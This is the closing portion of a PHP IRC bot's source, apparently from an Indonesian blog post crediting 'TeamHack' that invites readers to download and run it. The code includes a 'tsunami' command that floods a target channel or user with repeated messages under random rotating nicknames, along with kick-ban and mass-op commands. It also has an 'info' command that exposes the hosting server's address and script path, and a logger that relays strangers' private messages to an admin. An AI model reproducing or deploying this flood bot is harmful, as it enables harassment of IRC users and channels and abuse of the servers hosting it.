Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$com[4].' :'.$msg. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':notice' && $com[4] && $com[5]) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":notice");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":notice $com[4] ","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'NOTICE '.$com[4].' :'.$msg. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':ctcp' && $com[4] && $com[5]) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":ctcp");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":ctcp $com[4] ","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$com[4].' :'.$msg.''. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':ping' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $sml = $smile[rand(0,count($smile) - 1)];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PONG! '.$sml. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':pong' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $sml = $smile[rand(0,count($smile) - 1)];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$chan.' :'.$dNick.', PING! '.$sml. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':info' && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β $bhost = $_SERVER['HTTP_HOST'];
Β  Β  Β  Β  Β  Β  Β  Β  Β $bip = $_SERVER['SERVER_ADDR'];
Β  Β  Β  Β  Β  Β  Β  Β  Β $bphpΒ  = $_SERVER['PHP_SELF'];
Β  Β  Β  Β  Β  Β  Β  Β  Β $brip = $_SERVER['REMOTE_ADDR'];
Β  Β  Β  Β  Β  Β  Β  Β  Β $brport = $_SERVER['REMOTE_PORT'];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,"NOTICE $dNick :Host: $bhost | Script: $bphp | IP: $bip | Your IP: $brip Port:$brport" . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':up' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'PRIVMSG chanserv :op '.$chan.' '.$nick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':down' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$chan.' +v-o '.$nick.' '.$nick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':tsunami' && $com[4] && $auth["$dNick"]["status"]!="user") {
Β  Β  Β  Β  Β  Β  Β  Β  Β $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1)- 1)].
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β  $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NICK '.$nicktsu . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β if (substr($dCommand,0,3)=='433') {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $nicktsu = $tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $tsu2[rand(0,count($tsu2) - 1)].$tsu1[rand(0,count($tsu1) - 1)].$tsu2[rand(0,count($tsu2) - 1)];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NICK '.$nicktsu . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":tsunami");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":tsunami $com[4]","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β if (ereg("#", $com[4])) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'JOIN '.$com[4] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'PRIVMSG '.$com[4].' :'.$msg.$tsumsg.CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'PART '.$com[4].' :F1n15h3d w1th 400x4 ch4rz' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NICK '.$nick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β else {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'PRIVMSG '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NOTICE '.$com[4].' :TSUNAMI'.$msg.$tsumsg. CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NOTICE '.$com[4].' :'.$msg.$tsumsg.CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NICK '.$nick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':cycle' && $chan && $auth["$dNick"]["status"]!="user") {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":cycle");
Β  Β  Β  Β  Β  Β  Β  Β  Β if (ereg("#", $com[4])) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $partchan = $com[4];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":cycle $com[4]","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β else {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $partchan = $chan;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":cycle","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β if (strlen($msg)<3) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = '';
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'JOIN '.$partchan . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':part' && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":part");
Β  Β  Β  Β  Β  Β  Β  Β  Β if (ereg("#", $com[4])) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $partchan = $com[4];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":part $com[4]","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β else {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $partchan = $chan;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":part","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β if (strlen($msg)<3) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = '';
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'PART '.$partchan.' :'.$msg . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β $remchan = strtolower($partchan);
Β  Β  Β  Β  Β  Β  Β  Β  Β if (in_array($remchan, $channel)) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $channels = str_replace("$remchan ","",$channels);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β unset($channel);
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $channel = explode(" ", $channels);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β foreach ($channel as $v) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'JOIN '.$v . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':join' && $com[4] && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β if (!ereg("#",$com[4])) { $com[4]="#".$com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β $addchan = strtolower($com[4]);
Β  Β  Β  Β  Β  Β  Β  Β  Β if (!in_array($addchan, $channel)) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $channel[]=$addchan;
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $channels.="$addchan ";
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β foreach ($channel as $v) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β sleep(rand(1,6));
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'JOIN '.$v . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':botnick' && $com[4] && !$chan && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β $nick = $com[4];
Β  Β  Β  Β  Β  Β  Β  Β  Β $identify = $com[5];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NICK '.$nick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'PRIVMSG nickserv :identify '.$nick.' '.$identify.Β  CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':k' && $com[4] && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":k");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":k $com[4]","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':kb' && $com[4] && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":kb");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":kb $com[4]","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'KICK '.$chan.' '.$com[4].' :'.$msg . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$chan.' +b '.$com[4] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':changenick') {
Β  Β  Β  Β  Β  Β  Β  Β  Β $nick = $nicky[rand(0,count($nicky) - 1)];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NICK '.$nick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β if (substr($dCommand,0,3)=='433') {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $nick = $nicky[rand(0,count($nicky) - 1)];
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NICK '.$nick . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':op' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β if ($com[4]) { $opnick = $com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { $opnick = $dNick; }
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$chan.' +ooo '.$opnick.' '.$com[5].' '.$com[6] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':deop' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β if ($com[4]) { $opnick = $com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { $opnick = $dNick; }
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$chan.' -o+v-oo '.$opnick.' '.$opnick.' '.$com[5].' '.$com[6] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':v' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β if ($com[4]) { $vonick = $com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { $vonick = $dNick; }
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$chan.' +vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':dv' && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β if ($com[4]) { $vonick = $com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { $vonick = $dNick; }
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$chan.' -vvv '.$vonick.' '.$com[5].' '.$com[6] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':awaymsg' && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":awaymsg");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":awaymsg","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β if (strlen($msg)<3) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $raway="on";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'AWAY : ' . 'AWAY' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β else {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $raway="off";
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'AWAY : ' . $msg . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':mode' && $com[4] && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$chan.' :'.$com[4].' '.$com[5] . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':nickmode' && $com[4]) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $nickmode = $com[4];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'MODE '.$nick.' :'.$nickmode . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':chanlist') {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NOTICE '.$dNick.' :Channel List: '.$channels . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':userlist') {
Β  Β  Β  Β  Β  Β  Β  Β  Β $userlist="";
Β  Β  Β  Β  Β  Β  Β  Β  Β foreach ($auth as $user) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β if ($user["pass"]) { $pass="-pass ok"; }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β else { $pass="-no pass"; }
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $userlist .= $user["name"].'('.$user["status"].$pass.') ';
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NOTICE '.$dNick.' :User List: '.$userlist . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':quit' && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":quit");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":quit","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β if (strlen($msg)>3) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(" ","_",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β $quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'QUIT ' . $quitmsg . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β $keluar = 1;
Β  Β  Β  Β  Β  Β  Β  Β  Β exit;
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':vhost' && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β if ($com[4]) { $localhost = $com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { $localhost = 'localhost'; }
Β  Β  Β  Β  Β  Β  Β  Β  Β $keluar = 0;
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'QUIT Ganti VHOST' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':jump' && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β if (empty($com[4])) {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β $remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { $remotehost = $com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β $keluar = 0;
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, "QUIT Ganti Server".CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':ident' && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β if (!$com[4]) { $username = $username; }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { $username = $com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β $keluar = 0;
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'QUIT Ganti Ident ' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':fullname' && $auth["$dNick"]["status"]=="Admin") {
Β  Β  Β  Β  Β  Β  Β  Β  Β if (!$com[4]) { $realname = "--"; }
Β  Β  Β  Β  Β  Β  Β  Β  Β else { $realname = $com[4]; }
Β  Β  Β  Β  Β  Β  Β  Β  Β $keluar = 0;
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'QUIT Ganti Nama' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':topic' && $com[4] && $chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = strstr($data,":topic");
Β  Β  Β  Β  Β  Β  Β  Β  Β $msg = str_replace(":`topic ","",$msg);
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'TOPIC '.$chan.' :'.$msg . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β elseif ($com[3]==':!help' && !$chan) {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$dNick.' :Helpnya ga tersedia nich' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β elseif (!$auth["$dNick"] && !eregi("auth",$iText)) {
Β  Β  Β  Β  Β  Β if (eregi("www.",$iText) || eregi("http:",$iText) || eregi("join #",$iText)) {
Β  Β  Β  Β  Β  Β  Β if (!ereg("#",$dCommand)) {
Β  Β  Β  Β  Β  Β  Β  Β if ($log=="on") {
Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '. $admin .' :4inviter: ' . $dFrom . '2:' .$iText. CRL);
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β $inv = strstr($dFrom,'@');
Β  Β  Β  Β  Β  Β  Β  Β foreach ($auth as $user) {
Β  Β  Β  Β  Β  Β  Β  Β  Β if ($user["status"]=="user") {
Β  Β  Β  Β  Β  Β  Β  Β  Β  Β fputs($fp, 'NOTICE '.$user["name"].' :KB '.$chan.' '.$dNick.' '.$inv.'' . CRL);
Β  Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β elseif (!ereg("#",$dCommand)) {
Β  Β  Β  Β  Β  Β  Β if ($log=="on") {
Β  Β  Β  Β  Β  Β  Β  Β fputs($fp,'PRIVMSG '.$admin.' :6' . $dFrom . '12:' .$iText. CRL);
Β  Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β  Β }
Β  Β  Β  Β  Β }
Β  Β  Β  Β }
Β  Β  Β }
Β  Β  Β elseif (substr($data,0,4) == 'PING') {
Β  Β  Β  Β fputs($fp,'PONG ' . substr($data,5) . CRL);
Β  Β  Β  Β $smile = $querym[rand(0,count($querym) - 1)];
Β  Β  Β  Β $kata = $shouts[rand(0,count($shouts) - 1)];
Β  Β  Β  Β //fputs($fp,'PRIVMSG #teamhack :' . $kata . ' ' . $smile . CRL);
Β  Β  Β }
Β  Β }
Β }
Β fclose($fp);
} while ($keluar == 0);
}

hajar($nick);
?>

Contoh hasil PHPBot biasanya terlihat di channel yang sepi, tapi banyak isinyaΒ :)
Bisa dilihat di irc.allnetwork.org / irc irc server lainnya.

Untuk mengcopy dan mendownload sourcenya bisa disini:
Oke guys, selamat menggunakan! Courtesy of TeamHack JavaIRC